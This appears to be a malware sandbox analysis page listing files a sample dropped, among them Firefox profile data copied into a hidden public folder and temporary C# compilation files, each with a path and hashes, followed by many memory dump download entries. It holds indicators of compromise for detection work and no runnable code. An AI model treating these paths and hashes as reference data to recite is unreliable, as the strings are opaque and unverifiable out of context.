T10190024AC8590431DE42251823647B90A61E04A254250101526CBC88046B0155486483
MD5 SHA1 SHA512 TLSH

Submit Download

asrouter.ftl

Path C:\Users\Public\.ff_tmp\settings\main\ms-language-packs\browser\newtab\asrouter.ftl
Size 15KB
SHA256 7f32769d6bb4e875f58ceb9e2fbfdc9bd6b82397eca7a4c5230b0786e68f1798
MD5 96c542dec016d9ec1ecc4dddfcbaac66
SHA1 6199f7648bb744efa58acf7b96fee85d938389e4
SHA512 cda2f159c3565bc636e0523c893b293109de2717142871b1ec78f335c12bad96fc3f62bcf56a1a88abdeed2ac3f3e5e9a008b45e24d713e13c23103acc15e658
SSDEEP 192:63/CCBmqCIKJumwOGmnOq6b4b9C4GoTlbo2ofF9/cFnSPhxtj3tCiwwau13151iS:OuPngEG1xNUIzFnieWrc
TLSH
T1D162E8CEF48193585D6F920AEDC5B391FB27008C56693C6671AF608873B9529C03EBD9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

shield-preference-experiments.json

Path C:\Users\Public\.ff_tmp\shield-preference-experiments.json
Size 18B
SHA256 704d28223a4320a853df4a19d48c7015cf79d56a5317cc3475b6305fa43dcc05
MD5 285cdefb3f582c224291f7a2530f3c4e
SHA1 f816c3e87aa007b6e6d31eb6a4618695a7d83439
SHA512 8f1decf1e4b5755fce8f165daae115f45d6890985c9c4bbb33a6f724cbfd26db75f6da06f9ef675de20fe755da9b7f55e5ee37124296a12a520a393da159bd58
MD5 SHA1 SHA512

Submit Download

webext.sc.lz4

Path C:\Users\Public\.ff_tmp\startupCache\webext.sc.lz4
Size 105KB
SHA256 fd53f33071820c4f8f36b51fb6bb8dfa5f5c45584869aef3526f6ce3130d60d0
MD5 ba2530b857d441cdac8bb400d89c4634
SHA1 2685f00d4445e42fa77a88ad1f482c3ca5a58044
SHA512 b736bb904f0a7d5cc5cee3d3f2960baf3666081e1cbe9473c71c25db54bbf1c6ceff6a0bf79eb0243be1ca14664368bf0c9d8d7f4f94c787330f9b834f47ac78
SSDEEP 1536:BTrliIcZdhaB+bY+klNmPJXDrF7TMp7wGCSxam+xkMTHaDpJ5b0JH27ikwHUDZIp:B3lYSMYLiV3lbcAm+xkRa2nNy44
TLSH
T16EB3AEF6DFA28D7C94FFD82DA6C2843EFD262810B3933019C963235456C6F746678649
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

3870112724rsegmnoittet-es.sqlite

Path C:\Users\Public\.ff_tmp\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite
Size 48KB
SHA256 dd850629c52e3d0b25561dd6a6d0add9746a0ba883ea772609179af9c29ac292
MD5 5868a64e92df578b44b1f096b3bce87f
SHA1 647c9c39cdbfec7b7165c5e576621e0c94d189b3
SHA512 ee90813e275ed573eab9d63aa7a48dc73d59ac5fcb86c725377367be311c47fb48016bf207fe89b6f6c065d31e81077e9028875da75b8920db7d8bb93caf2be8
SSDEEP 96:Oa16S6CKnqlizbxV+2xVeU7X2B0iZMNXCL23Cfi2f6E2A/2g42cRCH2ZC0H7mh9:Oa16S6CdFAWnyh44CfiaR/skL0H7
TLSH
T17523348D3A33AD50CB69F0B8639145AA584FB1DD0030278965D9DF8C842B1ABED1FBF5
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

3870112724rsegmnoittet-es.sqlite

Path C:\Users\Public\.ff_tmp\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite
Size 80KB
SHA256 025443ec5bacfe91b994861885fafdd3ad40347cad6a8ff0970152413a19fb2e
MD5 242f09adeaca6531abd390a7b681bfb4
SHA1 066b87b4904331f1657b35e78c936e27ed8caf8b
SHA512 187098df73db4d0a10e0eda2111f10f637d3344e05876c0935979cc003681304b75ac85b1ba104516169fba7108dce3ae2c9fcdd47184515c2abb70a5c75d6c0
SSDEEP 768:X6S6CrAWnj+f3aY3p6x3I0H7f+eHPcHt5qcTPlCJbc+Mf:X6S6oy3aY3p6x3T+eHPcH/zj4JY+8
TLSH
T10D832A9D3933D463CB14E43B32A681FB501F969D407127883BA8978C646F15B9E2FF94
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

3870112724rsegmnoittet-es.sqlite

Path C:\Users\Public\.ff_tmp\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite
Size 384KB
SHA256 c91f965dc5c71af8837603959986f1551d90965a34ea31cd948cb7c325d660c9
MD5 ba4c756ce04d6a93f93a844824e7a176
SHA1 de0c477aac6443cf2aaacd525f5c650aec88498e
SHA512 fd9a2fd0435ccbf63848e8b9e887006a7970f4a05568e453706b6746626c98f744a11df1cd931d0e920c4a5f4d7f21bcaea22459ef58cafdf3ae3a5faa3b9bed
SSDEEP 6144:RaY3p6x32+eHPcHs3y3Ap4Sq2tbTtR5IpUxE6uaciey:d/6ie
TLSH
T14284E9A53064C153C322D8379B5DB3B7243FE29894E7E78893702748396EA0FAADD355
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

targeting.snapshot.json

Path C:\Users\Public\.ff_tmp\targeting.snapshot.json
Size 3KB
SHA256 b5151007081998228b9ec83546e0fa5e0d834609fe793121478cc2a0897ca7c5
MD5 3ea8fb6906cefe54514073391c70825e
SHA1 adfa906ac1e6a7355249e73f1f4cbde40ccca5a0
SHA512 88848d3887dcfb18e9d178a2fe65d8d7eb8fa5bb450b58e2266247d2ef097183a42f343b53baa9479b48a7d310d2aadb7fbb4f66ce96f2190c93fa504849098d
TLSH
T11071500C961CA4BEA66FC3C0D6847FA78BBD053370446458DAFE460C85FB5FB122615B
MD5 SHA1 SHA512 TLSH

Submit Download

4ndntmdd.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\4ndntmdd\4ndntmdd.0.cs
Size 222B
SHA256 e07808a347b5d77b462950e43adcd8098152f82269c2619e32b9fea2cbc9029a
MD5 e0c4bb3f381b58920cb33d14e4f9ac40
SHA1 3cfd9831d1c6d7164674afc741658db3c9128943
SHA512 6b25859af3a423a95db4b13bd455a4f499a0f85f91bc1d431ba6a2e4e917982a755b25901f538e5da75e96502f231db4e07382c39758e9831955ba797dc8c9e1
TLSH
T1BDD0A744525481156886440055C85436E525C02032D53631C6BFD951CD7040992784CF
MD5 SHA1 SHA512 TLSH

Submit Download

4ndntmdd.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\4ndntmdd\4ndntmdd.cmdline
Size 369B
SHA256 68d0e4bd823120faba31481fd280f5187a6c75b5153ff91d6af8f1cbb7929b68
MD5 b2daf905110123c82e293e6be96ffeef
SHA1 b34a0f0ff923d3a995e3dc4eb19e810f43ccae82
SHA512 53f5f4090dd7e4a3eea60269d40ff8d65c84ab70481f062f447f1829ffb4bd0f899a2a65900709eae58ffad1e7ee77bdf28f97636d28b4b3c929a7cd6372eaab
TLSH
T1FCE0DF3B6366C67F15ED120B226BE6AC8273078739857F849150945DE02B6047BE2B95
MD5 SHA1 SHA512 TLSH

Submit Download

CSCC7C983F5AF1048338B5A1EBF22520BE.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\4ndntmdd\CSCC7C983F5AF1048338B5A1EBF22520BE.TMP
Size 652B
SHA256 7b09128e5a2ff37ec3d5c70204bb4c7df72d874b1efc4c609e6bd98dc51566db
MD5 cd6199bf9c41a3c319d2e1d2b6025e66
SHA1 cf10b5ced732e5d4f8b0bef87ad592628c072a53
SHA512 23b1902672a8b5b1baabb2ea405ff736b1c54fd412191569c1bec65767a086f3eb0a249a37da3188a07387bfa4f83cb18c27f0bf8b940dbe308cc7312fa7d9e4
TLSH
T141F05E0963F8520EF0F34B30BDF683A391A8BC64DE7293ED1550431D2C64B148962FB2
MD5 SHA1 SHA512 TLSH

Submit Download

CSC3A3D8AD51AB34575B88366A67351ADE.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\gxb2owvd\CSC3A3D8AD51AB34575B88366A67351ADE.TMP
Size 652B
SHA256 3d4b3b66cd80903b0cd91b970dc18ecfe57798cfb0d2d8da9414c2f86b1e5c76
MD5 f004920b5d230783b54cb6af4ba4d2a1
SHA1 ec3c4914a52f9a186e09fff8425d8dfdb4208367
SHA512 cfb3b2b220c3b73cfaf50f7fcd5c3226d24cfd1b8da7ae19bced38548d73e0049f48f609b2379d5deb302c2991e9fcb1fb24dd320fd256ee224ff511fea699b3
TLSH
T14CF05E09A3F8520EF0F34B30BDF643A391B8BCA4DE7293ED148013196C746209962FB2
MD5 SHA1 SHA512 TLSH

Submit Download

gxb2owvd.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\gxb2owvd\gxb2owvd.0.cs
Size 224B
SHA256 b59d0d5605f676222f00c1b940c6f01b69ee78d5b562094247cc681bad13b135
MD5 ebddd4574eeb83b8d45984a8f616b1cb
SHA1 44282b278b52094bf41799c4a3458de049be9bd8
SHA512 473f18127cc48d35bc35e46047f6b08b8a7eed28cf3eee2696dbff9bbca5d852a64d02afb59839924436b5c966b55746416cb8d81b261380375d04d9e6ad0ca6
TLSH
T12ED02344116491151DC74049D5D88427F226C03033D83F31CDBFDE51CD7084582780CF
MD5 SHA1 SHA512 TLSH

Submit Download

gxb2owvd.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\gxb2owvd\gxb2owvd.cmdline
Size 369B
SHA256 6e6d20cc8af6fcd6a4282c555b0c028f5f8204bfbf42c15a6556482740b483a5
MD5 96f876f0b31a69089125c07ff9b29046
SHA1 f461f607d7c597ed859c6bf9e6c2022b05936866
SHA512 b932603a3edc75c88e7d925625f99e9fa54b978d3442752c44d21454e19f11fe08516245db75f07bdc88f4d11d7007d4b91af519140fff86786bd7eeb3ce5960
TLSH
T14DE0C62EC346C27D01ED300B22FAC4FCC3720F832A803F849640840DE027000ABD2783
MD5 SHA1 SHA512 TLSH

Submit Download

memory/1072-80-0x00000000080F0000-0x0000000008186000-memory.dmp

Download

memory/1072-62-0x0000000002E90000-0x0000000002EC6000-memory.dmp

Download

memory/1072-63-0x0000000005620000-0x0000000005C6A000-memory.dmp

Download

memory/1072-64-0x0000000005550000-0x0000000005572000-memory.dmp

Download

memory/1072-65-0x0000000005C70000-0x0000000005CD6000-memory.dmp

Download

memory/1072-66-0x0000000005CE0000-0x0000000005D46000-memory.dmp

Download

memory/1072-72-0x0000000005DF0000-0x000000000614B000-memory.dmp

Download

memory/1072-74-0x0000000006310000-0x000000000632E000-memory.dmp

Download

memory/1072-75-0x0000000006350000-0x000000000639C000-memory.dmp

Download

memory/1072-77-0x0000000006890000-0x00000000068AA000-memory.dmp

Download

memory/1072-76-0x0000000007A70000-0x00000000080EC000-memory.dmp

Download

memory/1072-78-0x00000000082C0000-0x0000000008482000-memory.dmp

Download

memory/1072-81-0x0000000007A10000-0x0000000007A32000-memory.dmp

Download

memory/1072-82-0x000000000BA50000-0x000000000C00A000-memory.dmp

Download

memory/1840-84-0x00000000004A0000-0x00000000004E3000-memory.dmp

Download

memory/1840-2877-0x0000000002240000-0x0000000002308000-memory.dmp

Download

memory/1840-808-0x0000000002240000-0x0000000002308000-memory.dmp

Download

memory/1840-807-0x0000000002240000-0x0000000002308000-memory.dmp

Download

memory/1840-805-0x0000000002240000-0x0000000002308000-memory.dmp

Download

memory/1840-806-0x0000000002240000-0x0000000002308000-memory.dmp

Download

memory/1840-315-0x0000000002240000-0x0000000002308000-memory.dmp

Download

memory/1840-5343-0x0000000002240000-0x0000000002308000-memory.dmp

Download

memory/1840-275-0x0000000002240000-0x0000000002308000-memory.dmp

Download

memory/1840-258-0x0000000002240000-0x0000000002308000-memory.dmp

Download

memory/1840-223-0x0000000002240000-0x0000000002308000-memory.dmp

Download

memory/1840-182-0x0000000002240000-0x0000000002308000-memory.dmp

Download

memory/1840-171-0x0000000002240000-0x0000000002308000-memory.dmp

Download

memory/1840-129-0x0000000002240000-0x0000000002308000-memory.dmp

Download

memory/1840-124-0x0000000002240000-0x0000000002308000-memory.dmp

Download

memory/1840-5344-0x0000000002240000-0x0000000002308000-memory.dmp

Download

memory/1840-91-0x0000000002240000-0x0000000002308000-memory.dmp

Download

memory/1840-87-0x0000000002240000-0x0000000002308000-memory.dmp

Download

memory/1840-85-0x0000000002240000-0x0000000002308000-memory.dmp

Download

memory/1840-5348-0x0000000002240000-0x0000000002308000-memory.dmp

Download

memory/1840-5345-0x0000000002240000-0x0000000002308000-memory.dmp

Download

memory/1840-5342-0x0000000002240000-0x0000000002308000-memory.dmp

Download

memory/1840-5338-0x0000000002240000-0x0000000002308000-memory.dmp

Download

memory/1840-2965-0x0000000002240000-0x0000000002308000-memory.dmp

Download

memory/1840-890-0x0000000002240000-0x0000000002308000-memory.dmp

Download

memory/1840-4978-0x0000000002240000-0x0000000002308000-memory.dmp

Download

memory/1840-4977-0x0000000002240000-0x0000000002308000-memory.dmp

Download

memory/1840-2960-0x0000000002240000-0x0000000002308000-memory.dmp

Download

memory/1840-2936-0x0000000002240000-0x0000000002308000-memory.dmp

Download

memory/1840-4970-0x0000000002240000-0x0000000002308000-memory.dmp

Download

memory/1840-4965-0x0000000002240000-0x0000000002308000-memory.dmp

Download

memory/1840-4966-0x0000000002240000-0x0000000002308000-memory.dmp

Download

memory/1840-2917-0x0000000002240000-0x0000000002308000-memory.dmp

Download

memory/1840-2905-0x0000000002240000-0x0000000002308000-memory.dmp

Download

memory/1840-2901-0x0000000002240000-0x0000000002308000-memory.dmp

Download

memory/1840-2899-0x0000000002240000-0x0000000002308000-memory.dmp

Download

memory/1840-2897-0x0000000002240000-0x0000000002308000-memory.dmp

Download

memory/1840-4540-0x0000000002240000-0x0000000002308000-memory.dmp

Download

memory/1840-2893-0x0000000002240000-0x0000000002308000-memory.dmp

Download

memory/1840-2858-0x0000000002240000-0x0000000002308000-memory.dmp

Download

memory/1840-2859-0x0000000002240000-0x0000000002308000-memory.dmp

Download

memory/1840-2861-0x0000000002240000-0x0000000002308000-memory.dmp

Download

memory/1840-2865-0x0000000002240000-0x0000000002308000-memory.dmp

Download

memory/1840-2863-0x0000000002240000-0x0000000002308000-memory.dmp

Download

memory/1840-2867-0x0000000002240000-0x0000000002308000-memory.dmp

Download

memory/1840-2869-0x0000000002240000-0x0000000002308000-memory.dmp

Download

memory/1840-2871-0x0000000002240000-0x0000000002308000-memory.dmp

Download

memory/1840-2874-0x0000000002240000-0x0000000002308000-memory.dmp

Download

memory/1840-2873-0x0000000002240000-0x0000000002308000-memory.dmp

Download

memory/1840-3332-0x0000000002240000-0x0000000002308000-memory.dmp

Download

memory/1840-2876-0x0000000002240000-0x0000000002308000-memory.dmp

Download

memory/1840-2879-0x0000000002240000-0x0000000002308000-memory.dmp

Download

memory/1840-2883-0x0000000002240000-0x0000000002308000-memory.dmp

Download

memory/1840-2881-0x0000000002240000-0x0000000002308000-memory.dmp

Download

memory/1840-2888-0x0000000002240000-0x0000000002308000-memory.dmp

Download

memory/1840-2890-0x0000000002240000-0x0000000002308000-memory.dmp

Download

memory/1840-2885-0x0000000002240000-0x0000000002308000-memory.dmp

Download

memory/2520-5259-0x00007FFE62D20000-0x00007FFE62F83000-memory.dmp

Download

memory/2792-4150-0x00007FFE62D20000-0x00007FFE62F83000-memory.dmp

Download

memory/4720-4975-0x00000242AC620000-0x00000242AC644000-memory.dmp

Download

memory/4720-4974-0x00000242AC620000-0x00000242AC64A000-memory.dmp

Download

memory/5624-4543-0x0000000001660000-0x0000000001663000-memory.dmp

Download

memory/5624-4544-0x00000000039A0000-0x0000000003F72000-memory.dmp

Download

memory/5624-4552-0x00000000039A0000-0x0000000003F72000-memory.dmp

Download

memory/5624-4553-0x00000000039A0000-0x0000000003F72000-memory.dmp

Download

memory/5624-4554-0x00000000039A0000-0x0000000003F72000-memory.dmp

Download

memory/5684-58-0x0000026B64700000-0x0000026B6471C000-memory.dmp

Download

memory/5684-13-0x00007FFE40070000-0x00007FFE40A14000-memory.dmp

Download

memory/5684-12-0x00007FFE40070000-0x00007FFE40A14000-memory.dmp

Download

memory/5684-11-0x00007FFE40070000-0x00007FFE40A14000-memory.dmp

Download

memory/5684-10-0x00007FFE40070000-0x00007FFE40A14000-memory.dmp

Download

memory/5684-14-0x00007FFE40070000-0x00007FFE40A14000-memory.dmp

Download

memory/5684-15-0x00007FFE40070000-0x00007FFE40A14000-memory.dmp

Download

memory/5684-28-0x0000026B640A0000-0x0000026B640A8000-memory.dmp

Download

memory/5684-34-0x00007FFE40070000-0x00007FFE40A14000-memory.dmp

Download

memory/5684-35-0x00007FFE40070000-0x00007FFE40A14000-memory.dmp

Download

memory/5684-43-0x0000026B64420000-0x0000026B64428000-memory.dmp

Download

memory/5684-51-0x0000026B644B0000-0x0000026B64562000-memory.dmp

Download

memory/5684-9-0x00007FFE40070000-0x00007FFE40A14000-memory.dmp

Download

memory/5684-52-0x0000026B64480000-0x0000026B6448A000-memory.dmp

Download

memory/5684-50-0x0000026B64460000-0x0000026B6447E000-memory.dmp

Download

memory/5684-53-0x0000026B646E0000-0x0000026B646FE000-memory.dmp

Download

memory/5684-54-0x0000026B64490000-0x0000026B6449A000-memory.dmp

Download

memory/5684-55-0x00007FFE40070000-0x00007FFE40A14000-memory.dmp

Download

memory/5684-56-0x00007FFE40070000-0x00007FFE40A14000-memory.dmp

Download

memory/5684-57-0x00007FFE40070000-0x00007FFE40A14000-memory.dmp

Download

memory/5684-7-0x00007FFE40070000-0x00007FFE40A14000-memory.dmp

Download

memory/5684-59-0x0000026B646C0000-0x0000026B646C8000-memory.dmp

Download

memory/5684-60-0x0000026B646D0000-0x0000026B646D6000-memory.dmp

Download

memory/5684-61-0x0000026B64B20000-0x0000026B64B2A000-memory.dmp

Download

memory/5684-83-0x00007FFE40070000-0x00007FFE40A14000-memory.dmp

Download

memory/5684-0-0x00007FFE401FF000-0x00007FFE40200000-memory.dmp

Download

memory/5684-94-0x00007FFE40070000-0x00007FFE40A14000-memory.dmp

Download

memory/5684-279-0x00007FFE40070000-0x00007FFE40A14000-memory.dmp

Download

memory/5684-6-0x0000026B640B0000-0x0000026B640D2000-memory.dmp

Download